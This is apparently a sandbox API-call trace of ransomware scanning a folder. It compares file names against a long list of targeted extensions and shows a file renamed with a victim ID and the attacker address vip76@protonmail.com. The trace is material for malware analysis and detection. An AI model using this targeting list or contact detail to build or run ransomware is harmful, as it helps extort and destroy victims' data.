	[0060.634] lstrlenW (lpString=".hta") returned 4
	[0060.634] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1
	[0060.634] lstrlenW (lpString=".htc") returned 4
	[0060.634] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1
	[0060.634] lstrlenW (lpString=".htm") returned 4
	[0060.634] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1
	[0060.634] lstrlenW (lpString=".html") returned 5
	[0060.634] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1
	[0060.634] lstrlenW (lpString=".icb") returned 4
	[0060.634] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1
	[0060.634] lstrlenW (lpString=".ics") returned 4
	[0060.634] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1
	[0060.634] lstrlenW (lpString=".iff") returned 4
	[0060.634] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1
	[0060.634] lstrlenW (lpString=".inc") returned 4
	[0060.635] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1
	[0060.635] lstrlenW (lpString=".indd") returned 5
	[0060.635] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1
	[0060.635] lstrlenW (lpString=".ini") returned 4
	[0060.635] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1
	[0060.635] lstrlenW (lpString=".iqy") returned 4
	[0060.635] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1
	[0060.635] lstrlenW (lpString=".j2c") returned 4
	[0060.635] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1
	[0060.635] lstrlenW (lpString=".j2k") returned 4
	[0060.635] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1
	[0060.635] lstrlenW (lpString=".java") returned 5
	[0060.635] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1
	[0060.635] lstrlenW (lpString=".jp2") returned 4
	[0060.635] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1
	[0060.635] lstrlenW (lpString=".jpc") returned 4
	[0060.635] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1
	[0060.635] lstrlenW (lpString=".jpe") returned 4
	[0060.635] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1
	[0060.635] lstrlenW (lpString=".jpeg") returned 5
	[0060.635] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1
	[0060.635] lstrlenW (lpString=".jpf") returned 4
	[0060.635] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1
	[0060.635] lstrlenW (lpString=".jpg") returned 4
	[0060.635] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0060.635] lstrlenW (lpString=".jpx") returned 4
	[0060.635] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1
	[0060.635] lstrlenW (lpString=".js") returned 3
	[0060.635] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1
	[0060.635] lstrlenW (lpString=".jsf") returned 4
	[0060.635] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1
	[0060.635] lstrlenW (lpString=".json") returned 5
	[0060.635] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1
	[0060.635] lstrlenW (lpString=".jsp") returned 4
	[0060.636] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1
	[0060.636] lstrlenW (lpString=".kdc") returned 4
	[0060.636] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1
	[0060.636] lstrlenW (lpString=".kmz") returned 4
	[0060.636] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1
	[0060.636] lstrlenW (lpString=".kwm") returned 4
	[0060.636] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1
	[0060.636] lstrlenW (lpString=".lasso") returned 6
	[0060.636] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1
	[0060.636] lstrlenW (lpString=".lbi") returned 4
	[0060.636] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1
	[0060.636] lstrlenW (lpString=".lgf") returned 4
	[0060.636] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1
	[0060.636] lstrlenW (lpString=".lgp") returned 4
	[0060.636] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1
	[0060.636] lstrlenW (lpString=".log") returned 4
	[0060.636] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1
	[0060.636] lstrlenW (lpString=".m1v") returned 4
	[0060.636] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1
	[0060.636] lstrlenW (lpString=".m4a") returned 4
	[0060.636] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1
	[0060.636] lstrlenW (lpString=".m4v") returned 4
	[0060.636] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1
	[0060.636] lstrlenW (lpString=".max") returned 4
	[0060.636] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1
	[0060.636] lstrlenW (lpString=".md") returned 3
	[0060.636] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1
	[0060.636] lstrlenW (lpString=".mda") returned 4
	[0060.636] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1
	[0060.636] lstrlenW (lpString=".mdb") returned 4
	[0060.636] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1
	[0060.636] lstrlenW (lpString=".mde") returned 4
	[0060.636] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1
	[0060.636] lstrlenW (lpString=".mdf") returned 4
	[0060.637] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1
	[0060.637] lstrlenW (lpString=".mdw") returned 4
	[0060.637] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1
	[0060.637] lstrlenW (lpString=".mef") returned 4
	[0060.637] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1
	[0060.637] lstrlenW (lpString=".mft") returned 4
	[0060.637] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1
	[0060.637] lstrlenW (lpString=".mfw") returned 4
	[0060.637] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1
	[0060.637] lstrlenW (lpString=".mht") returned 4
	[0060.637] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1
	[0060.637] lstrlenW (lpString=".mhtml") returned 6
	[0060.637] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1
	[0060.637] lstrlenW (lpString=".mka") returned 4
	[0060.637] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1
	[0060.637] lstrlenW (lpString=".mkidx") returned 6
	[0060.637] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1
	[0060.637] lstrlenW (lpString=".mkv") returned 4
	[0060.637] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1
	[0060.637] lstrlenW (lpString=".mos") returned 4
	[0060.637] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1
	[0060.637] lstrlenW (lpString=".mov") returned 4
	[0060.637] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1
	[0060.637] lstrlenW (lpString=".mp3") returned 4
	[0060.637] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1
	[0060.637] lstrlenW (lpString=".mp4") returned 4
	[0060.637] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1
	[0060.637] lstrlenW (lpString=".mpeg") returned 5
	[0060.637] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1
	[0060.637] lstrlenW (lpString=".mpg") returned 4
	[0060.637] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1
	[0060.637] lstrlenW (lpString=".mpv") returned 4
	[0060.637] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1
	[0060.637] lstrlenW (lpString=".mrw") returned 4
	[0060.638] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1
	[0060.638] lstrlenW (lpString=".msg") returned 4
	[0060.638] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1
	[0060.638] lstrlenW (lpString=".mxl") returned 4
	[0060.638] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1
	[0060.638] lstrlenW (lpString=".myd") returned 4
	[0060.638] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1
	[0060.638] lstrlenW (lpString=".myi") returned 4
	[0060.638] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1
	[0060.638] lstrlenW (lpString=".nef") returned 4
	[0060.638] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1
	[0060.638] lstrlenW (lpString=".nrw") returned 4
	[0060.638] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1
	[0060.638] lstrlenW (lpString=".obj") returned 4
	[0060.638] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1
	[0060.638] lstrlenW (lpString=".odb") returned 4
	[0060.638] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1
	[0060.638] lstrlenW (lpString=".odc") returned 4
	[0060.638] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1
	[0060.638] lstrlenW (lpString=".odm") returned 4
	[0060.638] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1
	[0060.638] lstrlenW (lpString=".odp") returned 4
	[0060.638] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1
	[0060.638] lstrlenW (lpString=".ods") returned 4
	[0060.638] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1
	[0060.638] lstrlenW (lpString=".oft") returned 4
	[0060.638] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1
	[0060.638] lstrlenW (lpString=".one") returned 4
	[0060.638] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1
	[0060.638] lstrlenW (lpString=".onepkg") returned 7
	[0060.638] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1
	[0060.638] lstrlenW (lpString=".onetoc2") returned 8
	[0060.638] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1
	[0060.639] lstrlenW (lpString=".opt") returned 4
	[0060.639] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1
	[0060.639] lstrlenW (lpString=".oqy") returned 4
	[0060.639] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1
	[0060.639] lstrlenW (lpString=".orf") returned 4
	[0060.639] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1
	[0060.639] lstrlenW (lpString=".p12") returned 4
	[0060.639] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1
	[0060.639] lstrlenW (lpString=".p7b") returned 4
	[0060.639] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1
	[0060.639] lstrlenW (lpString=".p7c") returned 4
	[0060.639] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1
	[0060.639] lstrlenW (lpString=".pam") returned 4
	[0060.639] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1
	[0060.639] lstrlenW (lpString=".pbm") returned 4
	[0060.639] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1
	[0060.639] lstrlenW (lpString=".pct") returned 4
	[0060.639] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1
	[0060.639] lstrlenW (lpString=".pcx") returned 4
	[0060.639] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1
	[0060.639] lstrlenW (lpString=".pdd") returned 4
	[0060.639] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1
	[0060.639] lstrlenW (lpString=".pdf") returned 4
	[0060.639] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0060.639] lstrlenW (lpString=".pdp") returned 4
	[0060.639] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1
	[0060.639] lstrlenW (lpString=".pef") returned 4
	[0060.639] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1
	[0060.639] lstrlenW (lpString=".pem") returned 4
	[0060.639] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1
	[0060.639] lstrlenW (lpString=".pff") returned 4
	[0060.640] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1
	[0060.640] lstrlenW (lpString=".pfm") returned 4
	[0060.640] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1
	[0060.640] lstrlenW (lpString=".pfx") returned 4
	[0060.640] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1
	[0060.640] lstrlenW (lpString=".pgm") returned 4
	[0060.640] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1
	[0060.640] lstrlenW (lpString=".php") returned 4
	[0060.640] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1
	[0060.640] lstrlenW (lpString=".php3") returned 5
	[0060.640] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1
	[0060.640] lstrlenW (lpString=".php4") returned 5
	[0060.640] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1
	[0060.640] lstrlenW (lpString=".php5") returned 5
	[0060.640] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1
	[0060.640] lstrlenW (lpString=".phtml") returned 6
	[0060.640] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1
	[0060.640] lstrlenW (lpString=".pict") returned 5
	[0060.640] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1
	[0060.640] lstrlenW (lpString=".pl") returned 3
	[0060.640] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1
	[0060.640] lstrlenW (lpString=".pls") returned 4
	[0060.640] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1
	[0060.640] lstrlenW (lpString=".pm") returned 3
	[0060.640] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1
	[0060.640] lstrlenW (lpString=".png") returned 4
	[0060.640] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1
	[0060.640] lstrlenW (lpString=".pnm") returned 4
	[0060.640] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1
	[0060.640] lstrlenW (lpString=".pot") returned 4
	[0060.641] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1
	[0060.641] lstrlenW (lpString=".potm") returned 5
	[0060.641] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1
	[0060.641] lstrlenW (lpString=".potx") returned 5
	[0060.641] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1
	[0060.641] lstrlenW (lpString=".ppa") returned 4
	[0060.641] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1
	[0060.641] lstrlenW (lpString=".ppam") returned 5
	[0060.641] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1
	[0060.641] lstrlenW (lpString=".ppm") returned 4
	[0060.641] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1
	[0060.641] lstrlenW (lpString=".pps") returned 4
	[0060.641] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1
	[0060.641] lstrlenW (lpString=".ppsm") returned 5
	[0060.641] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1
	[0060.641] lstrlenW (lpString=".ppt") returned 4
	[0060.641] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0060.641] lstrlenW (lpString=".pptm") returned 5
	[0060.641] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1
	[0060.641] lstrlenW (lpString=".pptx") returned 5
	[0060.641] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1
	[0060.641] lstrlenW (lpString=".prn") returned 4
	[0060.641] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1
	[0060.641] lstrlenW (lpString=".ps") returned 3
	[0060.641] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1
	[0060.641] lstrlenW (lpString=".psb") returned 4
	[0060.641] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1
	[0060.641] lstrlenW (lpString=".psd") returned 4
	[0060.641] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1
	[0060.641] lstrlenW (lpString=".pst") returned 4
	[0060.641] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1
	[0060.641] lstrlenW (lpString=".ptx") returned 4
	[0060.641] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1
	[0060.642] lstrlenW (lpString=".pub") returned 4
	[0060.642] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1
	[0060.642] lstrlenW (lpString=".pwm") returned 4
	[0060.642] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1
	[0060.642] lstrlenW (lpString=".pxr") returned 4
	[0060.642] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1
	[0060.642] lstrlenW (lpString=".py") returned 3
	[0060.642] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1
	[0060.642] lstrlenW (lpString=".qt") returned 3
	[0060.642] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1
	[0060.642] lstrlenW (lpString=".r3d") returned 4
	[0060.642] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1
	[0060.642] lstrlenW (lpString=".raf") returned 4
	[0060.642] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1
	[0060.642] lstrlenW (lpString=".rar") returned 4
	[0060.642] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0060.642] FindNextFileW (in: hFindFile=0x5e0870, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13c4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0060.642] FindNextFileW (in: hFindFile=0x5e0870, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0060.642] FindNextFileW (in: hFindFile=0x5e0870, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0060.642] FindClose (in: hFindFile=0x5e0870 | out: hFindFile=0x5e0870) returned 1
	[0060.643] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x4f0000) returned 1
	[0060.643] FindNextFileW (in: hFindFile=0x5e0430, lpFindFileData=0x325fa7c | out: lpFindFileData=0x325fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1030", cAlternateFileName="")) returned 1
	[0060.643] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4250058
	[0060.643] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030") returned 26
	[0060.643] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\*", lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x80c4e50e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e0630
	[0060.769] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x80c4e50e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0060.769] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x80c4e50e, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x80c4e50e, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x80c4e50e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xde4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="EULART~1.HTM")) returned 1
	[0060.989] lstrlenW (lpString="eula.rtf.id-B4197730.[vip76@protonmail.com].html") returned 48
	[0060.989] lstrlenW (lpString=".1cd") returned 4
	[0060.989] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1
	[0060.989] lstrlenW (lpString=".3ds") returned 4
	[0060.989] lstrcmpiW (lpString1=".3ds", lpString2="html") returned -1
	[0060.989] lstrlenW (lpString=".3fr") returned 4
	[0060.989] lstrcmpiW (lpString1=".3fr", lpString2="html") returned -1
	[0060.989] lstrlenW (lpString=".3g2") returned 4
	[0060.989] lstrcmpiW (lpString1=".3g2", lpString2="html") returned -1
	[0060.989] lstrlenW (lpString=".3gp") returned 4
	[0060.990] lstrcmpiW (lpString1=".3gp", lpString2="html") returned -1
	[0060.990] lstrlenW (lpString=".7z") returned 3
	[0060.990] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1
	[0060.990] lstrlenW (lpString=".accda") returned 6
	[0060.990] lstrcmpiW (lpString1=".accda", lpString2="].html") returned -1
	[0060.990] lstrlenW (lpString=".accdb") returned 6
	[0060.990] lstrcmpiW (lpString1=".accdb", lpString2="].html") returned -1
	[0060.990] lstrlenW (lpString=".accdc") returned 6
	[0060.990] lstrcmpiW (lpString1=".accdc", lpString2="].html") returned -1
	[0060.990] lstrlenW (lpString=".accde") returned 6
	[0060.990] lstrcmpiW (lpString1=".accde", lpString2="].html") returned -1
	[0060.990] lstrlenW (lpString=".accdt") returned 6
	[0060.990] lstrcmpiW (lpString1=".accdt", lpString2="].html") returned -1
	[0060.990] lstrlenW (lpString=".accdw") returned 6
	[0060.990] lstrcmpiW (lpString1=".accdw", lpString2="].html") returned -1
	[0060.990] lstrlenW (lpString=".adb") returned 4
	[0060.990] lstrcmpiW (lpString1=".adb", lpString2="html") returned -1
	[0060.991] lstrlenW (lpString=".adp") returned 4
	[0060.991] lstrcmpiW (lpString1=".adp", lpString2="html") returned -1
	[0060.991] lstrlenW (lpString=".ai") returned 3
	[0060.991] lstrcmpiW (lpString1=".ai", lpString2="tml") returned -1
	[0060.991] lstrlenW (lpString=".ai3") returned 4
	[0060.991] lstrcmpiW (lpString1=".ai3", lpString2="html") returned -1
	[0060.991] lstrlenW (lpString=".ai4") returned 4
	[0060.991] lstrcmpiW (lpString1=".ai4", lpString2="html") returned -1
	[0060.991] lstrlenW (lpString=".ai5") returned 4
	[0060.991] lstrcmpiW (lpString1=".ai5", lpString2="html") returned -1
	[0060.991] lstrlenW (lpString=".ai6") returned 4
	[0060.991] lstrcmpiW (lpString1=".ai6", lpString2="html") returned -1
	[0060.991] lstrlenW (lpString=".ai7") returned 4
	[0060.991] lstrcmpiW (lpString1=".ai7", lpString2="html") returned -1
	[0060.991] lstrlenW (lpString=".ai8") returned 4
	[0060.991] lstrcmpiW (lpString1=".ai8", lpString2="html") returned -1
	[0060.991] lstrlenW (lpString=".anim") returned 5
	[0060.991] lstrcmpiW (lpString1=".anim", lpString2=".html") returned -1
	[0060.991] lstrlenW (lpString=".arw") returned 4
	[0060.991] lstrcmpiW (lpString1=".arw", lpString2="html") returned -1
	[0060.991] lstrlenW (lpString=".as") returned 3
	[0060.992] lstrcmpiW (lpString1=".as", lpString2="tml") returned -1
	[0060.992] lstrlenW (lpString=".asa") returned 4
	[0060.992] lstrcmpiW (lpString1=".asa", lpString2="html") returned -1
	[0060.992] lstrlenW (lpString=".asc") returned 4
	[0060.992] lstrcmpiW (lpString1=".asc", lpString2="html") returned -1
	[0060.992] lstrlenW (lpString=".ascx") returned 5
	[0060.992] lstrcmpiW (lpString1=".ascx", lpString2=".html") returned -1
	[0060.992] lstrlenW (lpString=".asm") returned 4
	[0060.992] lstrcmpiW (lpString1=".asm", lpString2="html") returned -1
	[0060.992] lstrlenW (lpString=".asmx") returned 5
	[0060.992] lstrcmpiW (lpString1=".asmx", lpString2=".html") returned -1
	[0060.992] lstrlenW (lpString=".asp") returned 4
	[0060.992] lstrcmpiW (lpString1=".asp", lpString2="html") returned -1
	[0060.992] lstrlenW (lpString=".aspx") returned 5
	[0060.992] lstrcmpiW (lpString1=".aspx", lpString2=".html") returned -1
	[0060.992] lstrlenW (lpString=".asr") returned 4
	[0060.992] lstrcmpiW (lpString1=".asr", lpString2="html") returned -1
	[0060.992] lstrlenW (lpString=".asx") returned 4
	[0060.992] lstrcmpiW (lpString1=".asx", lpString2="html") returned -1
	[0060.992] lstrlenW (lpString=".avi") returned 4
	[0060.992] lstrcmpiW (lpString1=".avi", lpString2="html") returned -1
	[0060.993] lstrlenW (lpString=".avs") returned 4
	[0060.993] lstrcmpiW (lpString1=".avs", lpString2="html") returned -1
	[0060.993] lstrlenW (lpString=".backup") returned 7
	[0060.993] lstrcmpiW (lpString1=".backup", lpString2="m].html") returned -1
	[0060.993] lstrlenW (lpString=".bak") returned 4
	[0060.993] lstrcmpiW (lpString1=".bak", lpString2="html") returned -1
	[0060.993] lstrlenW (lpString=".bay") returned 4
	[0060.993] lstrcmpiW (lpString1=".bay", lpString2="html") returned -1
	[0060.993] lstrlenW (lpString=".bd") returned 3
	[0060.993] lstrcmpiW (lpString1=".bd", lpString2="tml") returned -1
	[0060.993] lstrlenW (lpString=".bin") returned 4
	[0060.993] lstrcmpiW (lpString1=".bin", lpString2="html") returned -1
	[0060.993] lstrlenW (lpString=".bmp") returned 4
	[0060.993] lstrcmpiW (lpString1=".bmp", lpString2="html") returned -1
	[0060.993] lstrlenW (lpString=".bz2") returned 4
	[0060.993] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1
	[0060.993] lstrlenW (lpString=".c") returned 2
	[0060.993] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1
	[0060.993] lstrlenW (lpString=".cdr") returned 4
	[0060.993] lstrcmpiW (lpString1=".cdr", lpString2="html") returned -1
	[0060.993] lstrlenW (lpString=".cer") returned 4
	[0060.993] lstrcmpiW (lpString1=".cer", lpString2="html") returned -1
	[0060.993] lstrlenW (lpString=".cf") returned 3
	[0060.993] lstrcmpiW (lpString1=".cf", lpString2="tml") returned -1
	[0060.993] lstrlenW (lpString=".cfc") returned 4
	[0060.993] lstrcmpiW (lpString1=".cfc", lpString2="html") returned -1
	[0060.993] lstrlenW (lpString=".cfm") returned 4
	[0060.993] lstrcmpiW (lpString1=".cfm", lpString2="html") returned -1
	[0060.993] lstrlenW (lpString=".cfml") returned 5
	[0060.993] lstrcmpiW (lpString1=".cfml", lpString2=".html") returned -1
	[0060.993] lstrlenW (lpString=".cfu") returned 4
	[0060.993] lstrcmpiW (lpString1=".cfu", lpString2="html") returned -1
	[0060.993] lstrlenW (lpString=".chm") returned 4
	[0060.994] lstrcmpiW (lpString1=".chm", lpString2="html") returned -1
	[0060.994] lstrlenW (lpString=".cin") returned 4
	[0060.994] lstrcmpiW (lpString1=".cin", lpString2="html") returned -1
	[0060.994] lstrlenW (lpString=".class") returned 6
	[0060.994] lstrcmpiW (lpString1=".class", lpString2="].html") returned -1
	[0060.994] lstrlenW (lpString=".clx") returned 4
	[0060.994] lstrcmpiW (lpString1=".clx", lpString2="html") returned -1
	[0060.994] lstrlenW (lpString=".config") returned 7
	[0060.994] lstrcmpiW (lpString1=".config", lpString2="m].html") returned -1
	[0060.994] lstrlenW (lpString=".cpp") returned 4
